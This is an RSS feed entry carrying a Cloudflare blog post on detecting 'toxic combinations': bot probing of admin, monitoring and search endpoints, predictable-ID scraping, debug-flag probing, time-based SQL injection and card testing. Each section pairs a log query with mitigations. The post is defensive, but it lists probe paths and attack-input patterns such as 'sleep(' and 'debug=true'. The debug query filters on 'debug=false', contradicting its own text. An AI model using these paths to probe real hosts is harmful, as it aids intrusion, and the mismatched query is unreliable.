
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Fri, 10 Apr 2026 00:08:55 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Toxic combinations: when small signals add up to a security incident]]></title>
            <link>https://blog.cloudflare.com/toxic-combinations-security/</link>
            <pubDate>Fri, 27 Feb 2026 07:00:00 GMT</pubDate>
            <description><![CDATA[ Minor misconfigurations or request anomalies often seem harmless in isolation. But when these small signals converge, they can trigger a security incident known as a toxic combination. Here’s how to spot the signs.  ]]></description>
            <content:encoded><![CDATA[ <p>At 3 AM, a single IP requested a login page. Harmless. But then, across several hosts and paths, the same source began appending <code>?debug=true</code> — the sign of an attacker probing the environment to assess the technology stack and plan a breach.</p><p>Minor misconfigurations, overlooked firewall events, or request anomalies feel harmless on their own. But when these small signals converge, they can explode into security incidents known as “toxic combinations.” These are exploits where an attacker discovers and compounds many minor issues — such as a debug flag left on a web application or an unauthenticated application path — to breach systems or exfiltrate data.</p><p>Cloudflare’s network observes requests to your stack, and as a result, has the data to identify these toxic combinations as they form. In this post, we’ll show you how we surface these signals from our application security data. We’ll go over the most common types of toxic combinations and the dangerous vulnerabilities they present. We will also provide details on how you can use this intelligence to identify and address weaknesses in your stack. </p>
    <div>
      <h2>How we define toxic combinations</h2>
      <a href="#how-we-define-toxic-combinations">
        
      </a>
    </div>
    <p>You could define a "toxic combination" in a few different ways, but here is a practical one based on how we look at our own datasets. Most web attacks eventually scale through automation; once an attacker finds a viable exploit, they'll usually script it into a bot to finish the job. <b>By looking at the intersection of bot traffic, specific application paths, request anomalies and misconfigurations, we can spot a potential breach.</b> We use this framework to reason through millions of requests per second. </p><p>While point defenses like Web Application Firewalls (WAF), bot detection, and API protection have evolved to incorporate behavioral patterns and reputation signals, they still primarily focus on evaluating the risk of an individual request. In contrast, Cloudflare’s detections for "toxic combinations" shift the lens toward the broader intent, analyzing the confluence of context surrounding multiple signals to identify a brewing incident.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1OpmbSTqET3QnkdoHXJeim/882c3385ad8e172bfbec3dafffe7477e/image2.png" />
          </figure><p><sup><i>Toxic combinations as contextualized detections</i></sup></p><p>That shift in perspective matters because many real incidents have no obvious exploit payload, no clean signatures, and no single event that screams “attack.” So, in what follows, we combine the following context to construct several toxic combinations:</p><ul><li><p><b>Bot signals</b></p></li><li><p><b>Application paths</b>, especially sensitivity ones: admin, debug, metrics, search, payment flows</p></li><li><p><b>Anomalies</b> including: unexpected http codes, geo jumps, identity mismatch, high ID churn, rate-limit evasion (distributed IPs doing the same thing), request or success rate spikes </p></li><li><p><b>Vulnerabilities or misconfigurations</b>: missing session cookies or auth headers, predictable identifiers</p></li></ul>
    <div>
      <h2>Examples of toxic combinations on popular application stacks</h2>
      <a href="#examples-of-toxic-combinations-on-popular-application-stacks">
        
      </a>
    </div>
    <p>We looked at a 24-hour window of Cloudflare data to see how often these patterns actually appear in popular application stacks. As shown in the table below, about 11% of the hosts we analyzed were susceptible to these combinations, skewed by vulnerable WordPress websites. Excluding WordPress sites, only 0.25% of hosts show signs of exploitable toxic combinations. While rare, they represent hosts that are vulnerable to compromise.</p><p>To make sense of the data, we broke it down into three stages of an attack:</p><ul><li><p><b>Estimated hosts probed:</b> This is the "wide net." It counts unique hosts where we saw HTTP requests targeting specific sensitive paths (like <code>/wp-admin</code>).</p></li><li><p><b>Estimated hosts filtered by toxic combination:</b> Here, we narrowed the list down to the specific hosts that actually met our criteria for a toxic combination.</p></li><li><p><b>Estimated reachable hosts:</b> Unique hosts that responded successfully to an exploit attempt—the "smoking gun" of an attack. A simple <code>200 OK</code> response (such as one triggered by appending <code>?debug=true</code>) could be a false positive. We validated paths to filter out noise caused by authenticated paths that require credentials despite the 200 status code, redirects that mask the true exploit path, and origin misconfigurations that serve success codes for unreachable paths.</p></li></ul><p>In the next sections, we’ll dig into the specific findings and the logic behind the combinations that drove them. The detection queries provided are necessary but not sufficient without testing for reachability; it is possible that the findings might be false positives. In some cases, <a href="https://www.cloudflare.com/application-services/products/log-explorer/"><u>Cloudflare Log Explorer</u></a> allows these queries to be executed on unsampled Cloudflare logs. </p><p><code>Table 1. Summary of Toxic Combinations</code></p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4SKPqWjxWQQ0FTBnuVxWjh/a72acfa372fc7838b69b30ab63147bd5/image3.png" />
          </figure>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6pOvYlwo3LqNp02WayM1xh/b4d8b9405cdda1475f013a2c000f17d4/image6.png" />
          </figure>
    <div>
      <h2>Probing of sensitive administrative endpoints across multiple application hosts</h2>
      <a href="#probing-of-sensitive-administrative-endpoints-across-multiple-application-hosts">
        
      </a>
    </div>
    
    <div>
      <h3><b>What did we detect? </b></h3>
      <a href="#what-did-we-detect">
        
      </a>
    </div>
    <p>We observed automated tools scanning common administrative login pages — like WordPress admin panels (/wp-admin), database managers, and server dashboards. A templatized version of the query, executable in <a href="https://www.cloudflare.com/application-services/products/log-explorer/"><u>Cloudflare Log Explorer</u></a>, is below:</p>
            <pre><code>SELECT
  clientRequestHTTPHost,
  COUNT(*) AS request_count
FROM
  http_requests 
WHERE
  timestamp &gt;= '{{START_DATE}}'
  AND timestamp &lt;= '{{END_DATE}}'
  AND edgeResponseStatus = 200
  AND clientRequestPath LIKE '{{PATH_PATTERN}}' //e.g. '%/wp-admin/%'
  AND NOT match( extract(clientRequestHTTPHost, '^[^:/]+'), '^\\d{1,3}(\\.\\d{1,3}){3}(:\\d+)?$') // comment this line for Cloudflare Log Explorer
  AND botScore &lt; {{BOT_THRESHOLD}} // we used botScore &lt; 30
GROUP BY
  clientRequestHTTPHost
ORDER BY
  request_count DESC;</code></pre>
            
    <div>
      <h3><b>Why is this serious?</b></h3>
      <a href="#why-is-this-serious">
        
      </a>
    </div>
    <p>Publicly accessible admin panels can enable <a href="https://www.cloudflare.com/learning/bots/brute-force-attack/"><u>brute force attacks</u></a>. If successful, an attacker can further compromise the host by adding it to a botnet that probes additional websites for similar vulnerability. In addition, this toxic combination can lead to:</p><ul><li><p><b>Exploit scanning:</b> Attackers identify the specific software version you're running (like Tomcat or WordPress) and launch targeted exploits for known vulnerabilities (CVEs).</p></li><li><p><b>User enumeration:</b> Many admin panels accidentally reveal valid usernames, which helps attackers craft more convincing phishing or login attacks.</p></li></ul>
    <div>
      <h3><b>What evidence supports it?</b></h3>
      <a href="#what-evidence-supports-it">
        
      </a>
    </div>
    <p>Toxic combination of bots automation and exposed management interfaces like<b>: /wp-admin/</b>,<b> /admin/</b>,<b> /administrator/</b>, <b>/actuator/*</b>,<b> /_search/</b>,<b> /phpmyadmin/</b>,<b> /manager/html/</b>, and<b> /app/kibana/</b>.</p><table><tr><td><p><b>Ingredient</b></p></td><td><p><b>Signal</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p><b>Bot activity</b></p></td><td><p><b>Bot Score &lt; 30</b></p></td><td><p>Bot signatures typical of vulnerability scanners</p></td></tr><tr><td><p><b>Anomaly</b></p></td><td><p><b>Repeated Probing</b></p></td><td><p>Unusual hits on admin endpoints</p></td></tr><tr><td><p><b>Vulnerability</b></p></td><td><p><b>Publicly accessible endpoint</b></p></td><td><p>Successful requests to admin endpoints</p></td></tr></table>
    <div>
      <h3><b>How do I mitigate this finding?</b></h3>
      <a href="#how-do-i-mitigate-this-finding">
        
      </a>
    </div>
    <ol><li><p><b>Implement </b><a href="https://www.cloudflare.com/sase/products/access/"><b><u>Zero Trust Access</u></b></a>.<b> </b></p></li><li><p>If for any reason the endpoint has to remain public, implement<b> </b><a href="https://www.cloudflare.com/application-services/products/turnstile/"><b><u>a challenge platform to add friction to bots</u></b></a>.</p></li><li><p><b>Implement IP allowlist:</b> Use your <a href="https://blog.cloudflare.com/wildcard-rules/"><u>WAF</u></a> or server configuration to ensure that administrative paths are only reachable from your corporate VPN or specific office IP addresses.</p></li><li><p><b>Cloak admin paths:</b> If your platform allows it, rename default admin URLs (e.g., change <code>/wp-admin</code> to a unique, non-guessable string).</p></li><li><p><b>Deploy geo-blocking:</b> If your administrators only operate from specific countries, block all traffic to these sensitive paths coming from outside those regions.</p></li><li><p><b>Enforce multi-factor authentication (MFA):</b> Ensure every administrative entry point requires a second factor; a password alone is not enough to stop a dedicated crawler.</p></li></ol>
    <div>
      <h2>Unauthenticated public API endpoints allowing mass data exposure via predictable identifiers</h2>
      <a href="#unauthenticated-public-api-endpoints-allowing-mass-data-exposure-via-predictable-identifiers">
        
      </a>
    </div>
    
    <div>
      <h3><b>What did we detect? </b></h3>
      <a href="#what-did-we-detect">
        
      </a>
    </div>
    <p>We found API endpoints that are accessible to anyone on the Internet without a password or login (see <a href="https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/"><u>OWASP: API2:2023 – Broken Authentication</u></a>). Even worse, the way it identifies records (using simple, predictable ID numbers,see <a href="https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/"><u>OWASP: API1:2023- Broken Object Level Authorization</u></a>) allows anyone to simply "count" through your database — making it much simpler for attackers to enumerate and “scrape” your business records, without even visiting your website directly.</p>
            <pre><code>SELECT
  uniqExact(clientRequestHTTPHost) AS unique_host_count
FROM  http_requests
WHERE timestamp &gt;= '2026-02-13'
  AND timestamp &lt;= '2026-02-14'
  AND edgeResponseStatus = 200
  AND bmScore &lt; 30
  AND (
       match(extract(clientRequestQuery, '(?i)(?:^|[&amp;?])uid=([^&amp;]+)'),  '^[0-9]{3,10}$')
    OR match(extract(clientRequestQuery, '(?i)(?:^|[&amp;?])user=([^&amp;]+)'), '^[0-9]{3,10}$')
    OR length(extract(clientRequestQuery, '(?i)(?:^|[&amp;?])uid=([^&amp;]+)'))  BETWEEN 3 AND 8
    OR length(extract(clientRequestQuery, '(?i)(?:^|[&amp;?])user=([^&amp;]+)')) BETWEEN 3 AND 8
  )</code></pre>
            
    <div>
      <h3><b>Why is this serious?</b></h3>
      <a href="#why-is-this-serious">
        
      </a>
    </div>
    <p>This is a "zero-exploit" vulnerability, meaning an attacker doesn't need to be a hacker to steal your data; they just need to change a number in a web link. This leads to:</p><ul><li><p><b>Mass Data Exposure:</b> Large-scale scraping of your entire customer dataset.</p></li><li><p><b>Secondary Attacks:</b> Stolen data is used for targeted phishing or account takeovers.</p></li><li><p><b>Regulatory Risk:</b> Severe privacy violations (GDPR/CCPA) due to exposing sensitive PII.</p></li><li><p><b>Fraud:</b> Competitors or malicious actors gaining insight into your business volume and customer base.</p></li></ul>
    <div>
      <h3><b>What evidence supports it?</b></h3>
      <a href="#what-evidence-supports-it">
        
      </a>
    </div>
    <p>Toxic combination of missing security controls and automation targeting particular API endpoints.</p><table><tr><td><p><b>Ingredient</b></p></td><td><p><b>Signal</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p>Bot activity</p></td><td><p>Bot Score &lt; 30</p></td><td><p>High volume of requests from a single client fingerprint iterating through different IDs.</p></td></tr><tr><td><p>Anomaly</p></td><td><p>High Cardinality of tid</p></td><td><p>A single visitor accessing hundreds or thousands of unique resource IDs in a short window.</p></td></tr><tr><td><p>Anomaly</p></td><td><p>Stable Response Size</p></td><td><p>Consistent JSON structures and file sizes, indicating successful data retrieval for each guessed ID.</p></td></tr><tr><td><p>Vulnerability</p></td><td><p>Missing Auth Signals</p></td><td><p>Requests lack session cookies, Bearer tokens, or Authorization headers entirely.</p></td></tr><tr><td><p>Misconfiguration</p></td><td><p>Predictable Identifiers</p></td><td><p>The <code>tid</code> parameter uses low-entropy, predictable integers (e.g., 1001, 1002, 1003).</p></td></tr></table><p>While the query checked for bot score and predictable identifiers, signals like high cardinality, stable response sizes and missing authentication were tested on a sample of traffic matching the query. </p>
    <div>
      <h3><b>How do I mitigate this finding?</b></h3>
      <a href="#how-do-i-mitigate-this-finding">
        
      </a>
    </div>
    <ol><li><p><b>Enforce authentication:</b> Immediately require a valid session or API key for the affected endpoint. Do not allow "Anonymous" access to data containing PII or business secrets.</p></li><li><p><b>Implement authorization (IDOR check):</b> Ensure the backend checks that the authenticated user actually has permission to view the specific <code>tid</code> they are requesting.</p></li><li><p><b>Use UUIDs:</b> Replace predictable, sequential integer IDs with long, random strings (UUIDs) to make "guessing" identifiers computationally impossible.</p></li><li><p><b>Deploy API Shield:</b> Enable Cloudflare <a href="https://blog.cloudflare.com/api-abuse-detection/"><u>API Shield</u></a> with features like <b>Schema Validation</b> (to block unexpected inputs) and <b>BOLA Detection</b>.</p></li></ol>
    <div>
      <h2>Debug parameter probing revealing system details</h2>
      <a href="#debug-parameter-probing-revealing-system-details">
        
      </a>
    </div>
    
    <div>
      <h3><b>What did we detect? </b></h3>
      <a href="#what-did-we-detect">
        
      </a>
    </div>
    <p>We found evidence of <code>debug=true</code> appended to web paths to reveal system details. A templatized version of the query, executable in <a href="https://www.cloudflare.com/application-services/products/log-explorer/"><u>Cloudflare Log Explorer</u></a>, is below:</p>
            <pre><code>SELECT
  clientRequestHTTPHost,
  COUNT(rayId) AS request_count
FROM
  http_requests
WHERE
  timestamp &gt;= '{{START_TIMESTAMP}}'
  AND timestamp &lt; '{{END_TIMESTAMP}}'
  AND edgeResponseStatus = 200
  AND clientRequestQuery LIKE '%debug=false%'
  AND botScore &lt; {{BOT_THRESHOLD}}
GROUP BY
  clientRequestHTTPHost
ORDER BY
  request_count DESC;</code></pre>
            
    <div>
      <h3><b>Why is this serious?</b></h3>
      <a href="#why-is-this-serious">
        
      </a>
    </div>
    <p>While this doesn't steal data instantly, it provides an attacker with a high-definition map of your internal infrastructure. This "reconnaissance" makes their next attack much more likely to succeed because they can see:</p><ul><li><p><b>Hidden data fields:</b> Sensitive internal information that isn't supposed to be visible to users.</p></li><li><p><b>Technology stack details:</b> Specific software versions and server types, allowing them to look up known vulnerabilities for those exact versions.</p></li><li><p><b>Logic hints:</b> Error messages or stack traces that explain exactly how your code works, helping them find ways to break it.</p></li></ul>
    <div>
      <h3><b>What evidence supports it?</b></h3>
      <a href="#what-evidence-supports-it">
        
      </a>
    </div>
    <p>Toxic combination of automated probing and misconfigured diagnostic flags targeting the <b>Multiple Hosts and Application Paths.</b></p><table><tr><td><p><b>Ingredient</b></p></td><td><p><b>Signal</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p>Bot activity</p></td><td><p>Bot Score &lt; 30</p></td><td><p>Vulnerability scanner activity</p></td></tr><tr><td><p>Anomaly</p></td><td><p>Response Size Increase</p></td><td><p>Significant jumps in data volume when a debug flag is toggled, indicating details or stack traces are being leaked. Add these additional conditions, if needed:</p><p><code>SELECT</code></p><p><code>AVG(edgeResponseBytes) AS avg_payload_size, </code></p><p><code>WHERE</code></p><p><code>edgeResponseBytes &gt; {{your baseline response size}}</code></p></td></tr><tr><td><p>Anomaly</p></td><td><p>Repeated Path Probing</p></td><td><p>Rapid-fire requests across diverse endpoints (e.g., <b>/api, /login, /search</b>) specifically testing for the same diagnostic triggers. Add these conditions, if needed:

<code>SELECT</code></p><p><code>APPROX_DISTINCT(clientRequestPath) AS unique_endpoints_tested </code></p><p><code>HAVING </code></p><p><code>unique_endpoints_tested &gt; 1</code></p></td></tr><tr><td><p>Misconfiguration</p></td><td><p>Debug Parameter Allowed</p></td><td><p>The presence of active "debug," "test," or "dev" flags in production URLs that change application behavior.</p></td></tr><tr><td><p>Vulnerability</p></td><td><p>Schema disclosure</p></td><td><p>The appearance of internal-only JSON fields or "Firebase-style" .json dumps that reveal the underlying structure.</p></td></tr></table><p>While the query checked for bot score and paths with debug parameters, signals like repeated probing, response sizes and schema disclosure were tested on a sample of traffic matching the query. </p>
    <div>
      <h3><b>How do I mitigate this finding?</b></h3>
      <a href="#how-do-i-mitigate-this-finding">
        
      </a>
    </div>
    <ol><li><p><b>Disable debugging in production:</b> Ensure that all "debug" or "development" environment variables are strictly set to <code>false</code> in your production deployment configurations.</p></li><li><p><b>Filter parameters at the edge:</b> Use your <a href="https://blog.cloudflare.com/wildcard-rules/"><u>WAF</u></a> or API Gateway to strip out known debug parameters (like <code>?debug=</code>, <code>?test=</code>,<code> ?trace=</code>) before they ever reach your application servers.</p></li><li><p><b>Sanitize error responses:</b> Configure your web servers (Nginx, Apache, etc.) to show generic error pages instead of detailed stack traces or internal system messages.</p></li><li><p><b>Audit firebase/DB rules:</b> If you are using Firebase or similar NoSQL databases, ensure that /<code>.json</code> path access is restricted via strict security rules, so public users cannot dump the entire schema or data.</p></li></ol>
    <div>
      <h2>Publicly exposed monitoring endpoints providing internal infrastructure visibility</h2>
      <a href="#publicly-exposed-monitoring-endpoints-providing-internal-infrastructure-visibility">
        
      </a>
    </div>
    
    <div>
      <h3><b>What did we detect? </b></h3>
      <a href="#what-did-we-detect">
        
      </a>
    </div>
    <p>We discovered "health check" and monitoring dashboards are visible to the entire Internet. Specifically, paths like <code>/actuator/metrics</code> are responding to anyone who asks. A templatized version of the query, executable in <a href="https://www.cloudflare.com/application-services/products/log-explorer/"><u>Cloudflare Log Explorer</u></a>, is below::</p>
            <pre><code>SELECT
  clientRequestHTTPHost,
  count() AS request_count
FROM http_requests
WHERE timestamp &gt;= toDateTime('{{START_DATE}}')
  AND timestamp &lt;  toDateTime('{{END_DATE}}')
  AND botScore &lt; 30
  AND edgeResponseStatus = 200
  AND clientRequestPath LIKE '%/actuator/metrics%' // an example
GROUP BY
  clientRequestHTTPHost
ORDER BY request_count DESC</code></pre>
            <p><b>Why is this serious?</b></p><p>While these endpoints don't usually leak customer passwords directly, they provide the "blueprints" for a sophisticated attack. Exposure leads to:</p><ul><li><p><b>Strategic timing:</b> Attackers can monitor your CPU and memory usage in real-time to launch a <a href="https://www.cloudflare.com/learning/ddos/glossary/denial-of-service/"><u>Denial of Service (DoS) attack</u></a> exactly when your systems are already stressed.</p></li><li><p><b>Infrastructure mapping:</b> These logs often reveal the names of internal services, dependencies, and version numbers, helping attackers find known vulnerabilities to exploit.</p></li><li><p><b>Exploitation chaining:</b> Information about thread counts and environment hints can be used to bypass security layers or escalate privileges within your network.</p></li></ul>
    <div>
      <h3><b>What evidence supports it?</b></h3>
      <a href="#what-evidence-supports-it">
        
      </a>
    </div>
    <p>Toxic combination of misconfigured access controls and automated reconnaissance targeting the <b>Asset/Path: /actuator/metrics, /actuator/prometheus, and /health</b>.</p><table><tr><td><p><b>Ingredient</b></p></td><td><p><b>Signal</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p>Bot activity</p></td><td><p>Bot Score &lt; 30</p></td><td><p>Automated scanning tools are systematically checking for specific paths</p></td></tr><tr><td><p>Anomaly</p></td><td><p>Monitoring Fingerprint</p></td><td><p>The response body matches known formats (Prometheus, Micrometer, or Spring Boot), confirming the system is leaking live data.</p></td></tr><tr><td><p>Anomaly</p></td><td><p>HTTP 200 Status</p></td><td><p>Successful data retrieval from endpoints that should ideally return a 403 Forbidden or 404 Not Found to the public.</p></td></tr><tr><td><p>Misconfiguration</p></td><td><p>Public Monitoring Path</p></td><td><p>Public accessibility of internal-only endpoints like <code>/actuator/*</code> that are intended for private observability.</p></td></tr><tr><td><p>Vulnerability</p></td><td><p>Missing Auth</p></td><td><p>These endpoints are reachable without a session token, API key, or IP-based restriction.</p></td></tr></table>
    <div>
      <h3><b>How do I mitigate this finding?</b></h3>
      <a href="#how-do-i-mitigate-this-finding">
        
      </a>
    </div>
    <ol><li><p><b>Restrict access via WAF:</b> Immediately create a <a href="https://blog.cloudflare.com/wildcard-rules/"><u>firewall rule</u></a> to block any external traffic requesting paths containing <code>/actuator/</code> or <code>/prometheus</code>.</p></li><li><p><b>Bind to localhost:</b> Reconfigure your application frameworks to only serve these monitoring endpoints on <code>localhost</code> (127.0.0.1) or a private management network.</p></li><li><p><b>Enforce basic auth:</b> If these must be accessed over the web, ensure they are protected by strong authentication (at a minimum, complex Basic Auth or mTLS).</p></li><li><p><b>Disable unnecessary endpoints:</b> In Spring Boot or similar frameworks, disable any "Actuator" features that are not strictly required for production monitoring.</p></li></ol>
    <div>
      <h2>Unauthenticated search endpoints allowing direct index dumping</h2>
      <a href="#unauthenticated-search-endpoints-allowing-direct-index-dumping">
        
      </a>
    </div>
    
    <div>
      <h3><b>What did we detect? </b></h3>
      <a href="#what-did-we-detect">
        
      </a>
    </div>
    <p>Search endpoints (like Elasticsearch or OpenSearch) that are usually meant for internal use are wide open to the public. The templatized query is:</p>
            <pre><code>SELECT
  clientRequestHTTPHost,
  count() AS request_count
FROM http_requests
WHERE timestamp &gt;= toDateTime('{{START_DATE}}')
  AND timestamp &lt;  toDateTime('{{END_DATE}}')
  AND botScore &lt; 30
  AND edgeResponseStatus = 200
AND clientRequestPath like '%/\_search%'
AND NOT match(extract(clientRequestHTTPHost, '^[^:/]+'), '^\\d{1,3}(\\.\\d{1,3}){3}(:\\d+)?$')
GROUP BY
  clientRequestHTTPHost</code></pre>
            
    <div>
      <h3><b>Why is this serious?</b></h3>
      <a href="#why-is-this-serious">
        
      </a>
    </div>
    <p>This is a critical vulnerability because it requires zero technical skill to exploit, yet the damage is extensive:</p><ul><li><p><b>Mass data theft:</b> Attackers can "dump" entire indices, stealing millions of records in minutes.</p></li><li><p><b>Internal reconnaissance:</b> By viewing your "indices" (the list of what you store), attackers can identify other high-value targets within your network.</p></li><li><p><b>Data sabotage:</b> Depending on the setup, an attacker might not just read data — they could potentially modify or delete your entire search index, causing a massive service outage.</p></li></ul>
    <div>
      <h3><b>What evidence supports it?</b></h3>
      <a href="#what-evidence-supports-it">
        
      </a>
    </div>
    <p>We are seeing a toxic combination of misconfigured exposure and automated traffic and data enumeration targeting <b> /_search, /_cat/indices, and /_cluster/health</b>.</p><table><tr><td><p><b>Ingredient</b></p></td><td><p><b>Signal</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p>Bot activity</p></td><td><p>Bot Score &lt; 30</p></td><td><p>High-velocity automation signatures attempting to paginate through large datasets and "scrape" the entire index.</p></td></tr><tr><td><p>Anomaly</p></td><td><p>Unexpected  Response Size</p></td><td><p>Large JSON response sizes consistent with bulk data retrieval rather than simple status checks.</p></td></tr><tr><td><p>Anomaly</p></td><td><p>Repeated Query Patterns</p></td><td><p>Systematic "enumeration" behavior where the attacker is cycling through every possible index name to find sensitive data.</p></td></tr><tr><td><p>Vulnerability</p></td><td><p>/_search or /_cat/ Patterns</p></td><td><p>Direct exposure of administrative and query-level paths that should never be reachable via a public URL.</p></td></tr><tr><td><p>Misconfiguration</p></td><td><p>HTTP 200 Status</p></td><td><p>The endpoint is actively fulfilling requests from unauthorized external IPs instead of rejecting them at the network or application level.</p></td></tr></table><p>While the query checked for bot score and paths, signals like repeated query patterns, response sizes, and schema disclosure were tested on a sample of traffic matching the query. </p>
    <div>
      <h3><b>How do I mitigate this finding?</b></h3>
      <a href="#how-do-i-mitigate-this-finding">
        
      </a>
    </div>
    <ol><li><p><b>Restrict network access:</b> Immediately update your Firewall/Security Groups to ensure that search ports (e.g., 9200, 9300) and paths are only accessible from specific internal IP addresses.</p></li><li><p><b>Enable authentication:</b> Turn on "Security" features for your search cluster (like Shield or Search Guard) to require valid credentials for every API call.</p></li><li><p><b>WAF blocking:</b> Deploy a WAF rule to immediately block any request containing <code>/_search</code>, <code>/_cat</code>, or <code>/_cluster</code> coming from the public Internet.</p></li><li><p><b>Audit for data loss:</b> Review your database logs for large "Scroll" or "Search" queries from unknown IPs to determine exactly how much data was exfiltrated.</p></li></ol>
    <div>
      <h2>Successful SQL injection attempt on application paths </h2>
      <a href="#successful-sql-injection-attempt-on-application-paths">
        
      </a>
    </div>
    
    <div>
      <h3><b>What did we detect? </b></h3>
      <a href="#what-did-we-detect">
        
      </a>
    </div>
    <p>We’ve identified attackers who sent a malicious request—specifically a <a href="https://www.cloudflare.com/learning/security/threats/sql-injection/"><u>SQL injection</u></a> designed to trick databases. A templatized version of the query, executable in <a href="https://www.cloudflare.com/application-services/products/log-explorer/"><u>Cloudflare Log Explorer</u></a>, is below:</p>
            <pre><code>SELECT
  clientRequestHTTPHost,
  count() AS request_count
FROM http_requests
WHERE timestamp &gt;= toDateTime('{{START_DATE}}')
  AND timestamp &lt;  toDateTime('{{END_DATE}}')
  AND botScore &lt; 30
AND wafmlScore&lt;30
  AND edgeResponseStatus = 200
AND LOWER(clientRequestQuery) LIKE '%sleep(%'
GROUP BY
  clientRequestHTTPHost
ORDER BY request_count DESC</code></pre>
            
    <div>
      <h3><b>Why is this serious?</b></h3>
      <a href="#why-is-this-serious">
        
      </a>
    </div>
    <p>This is the "quiet path" to a data breach. Because the system returned a successful status code (<b>HTTP 200</b>), these attacks often blend in with legitimate traffic. If left unaddressed, an attacker can:</p><ul><li><p><b>Refine their methods:</b> Use trial and error to find the exact payload that bypasses your filters.</p></li><li><p><b>Exfiltrate data:</b> Slowly drain database contents or leak sensitive secrets (like API keys) passed in URLs.</p></li><li><p><b>Stay invisible:</b> Most automated alerts look for "denied" attempts; a "successful" exploit is much harder to spot in a sea of logs.</p></li></ul>
    <div>
      <h3><b>What evidence supports it?</b></h3>
      <a href="#what-evidence-supports-it">
        
      </a>
    </div>
    <p>We are seeing a toxic combination of automated bot signals, anomalies and application-layer vulnerabilities targeting many application paths.</p><table><tr><td><p><b>Ingredient</b></p></td><td><p><b>Signal</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p>Bot</p></td><td><p>Bot Score &lt; 30</p></td><td><p>High probability of automated traffic; signatures and timing consistent with exploit scripts.</p></td></tr><tr><td><p>Anomaly</p></td><td><p>HTTP 200 on sensitive path</p></td><td><p>Successful responses returning from a login endpoint that should have triggered a WAF block.</p></td></tr><tr><td><p>Anomaly</p></td><td><p>Repeated Mutations</p></td><td><p>High-frequency variations of the same request, indicating an attacker "tuning" their payload.</p></td></tr><tr><td><p>Vulnerability</p></td><td><p>Suspicious Query Patterns</p></td><td><p>Use of <code>SLEEP</code> commands and time-based patterns designed to probe database responsiveness.</p></td></tr></table>
    <div>
      <h3><b>How do I mitigate this finding?</b></h3>
      <a href="#how-do-i-mitigate-this-finding">
        
      </a>
    </div>
    <ol><li><p><b>Immediate virtual patching:</b> Update your WAF rules to specifically block the SQL patterns identified (e.g., time-based probes).</p></li><li><p><b>Sanitize inputs:</b> Review the backend code for this path to ensure it uses prepared statements or parameterized queries.</p></li><li><p><b>Remediate secret leakage:</b> Move any sensitive data from URL parameters to the request body or headers. Rotate any keys flagged as leaked.</p></li><li><p><b>Audit logs:</b> Check database logs for the timeframe of the "HTTP 200" responses to see if any data was successfully extracted.</p></li></ol>
    <div>
      <h2>Examples of toxic combinations on payment flows</h2>
      <a href="#examples-of-toxic-combinations-on-payment-flows">
        
      </a>
    </div>
    <p>Card testing and card draining are some of the most common fraud tactics. An attacker might buy a large batch of credit cards from the dark web. Then, to verify how many cards are still valid, they might test the card on a website by making small transactions. Once validated, they might use such cards to make purchases, such as gift cards, on popular shopping destinations. </p>
    <div>
      <h2>Suspected card testing on payment flows</h2>
      <a href="#suspected-card-testing-on-payment-flows">
        
      </a>
    </div>
    
    <div>
      <h3>What did we detect?</h3>
      <a href="#what-did-we-detect">
        
      </a>
    </div>
    <p>On payment flows (<code>/payment</code>, <code>/checkou</code>t, <code>/cart)</code>, we found certain hours of the day when either the hourly request volume from bots or hourly payment success ratio spiked by more than <b>3 standard deviations</b> from their hourly baselines over the prior 30 days. This could be related to card testing where an attacker is trying to validate lots of stolen credits. Of course, marketing campaigns might cause request spikes while payment outages might cause sudden drops in success ratios.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1H3wKai5QCHPx0ukBHkjQp/5352f4cdd33a48148f401f450477c593/image4.png" />
          </figure>
    <div>
      <h3>Why is this serious?</h3>
      <a href="#why-is-this-serious">
        
      </a>
    </div>
    <p>Payment success ratio drops coinciding with request spikes, in the absence of marketing campaigns or payment outages or other factors, <b>could</b> mean bots are in the middle of a massive card-testing run.</p>
    <div>
      <h3>What evidence supports it?</h3>
      <a href="#what-evidence-supports-it">
        
      </a>
    </div>
    <p>We used a combination of bot signals and anomalies on <code>/payment</code>, <code>/checkout</code>, <code>/cart</code>:</p><table><tr><td><p><b>Ingredient</b></p></td><td><p><b>Signal</b></p></td><td><p><b>Description</b></p></td></tr><tr><td><p><b>Bot</b></p></td><td><p>Bot Score &lt; 30</p></td><td><p>High probability of automated traffic rather than humans making mistakes</p></td></tr><tr><td><p>Anomaly</p></td><td><p>Volume Z-Score<b> </b>&gt; 3.0, calculated from request volume baseline for a given hour based on the past 30 days and evaluated each hour. This factors daily seasonality as well. </p></td><td><p>Scaling Event: The attacker is testing a batch of cards</p></td></tr><tr><td><p>Anomaly</p></td><td><p>Success ratio Z<b> </b>&gt; 3.0, calculated from success ratio baseline for a given hour based on the past 30 days and evaluated each hour. This factors daily seasonality as well. </p></td><td><p>Sudden drops in success ratio may mean cards being declined as they are reported lost or stolen</p></td></tr></table>
    <div>
      <h3>How do I mitigate this?</h3>
      <a href="#how-do-i-mitigate-this">
        
      </a>
    </div>
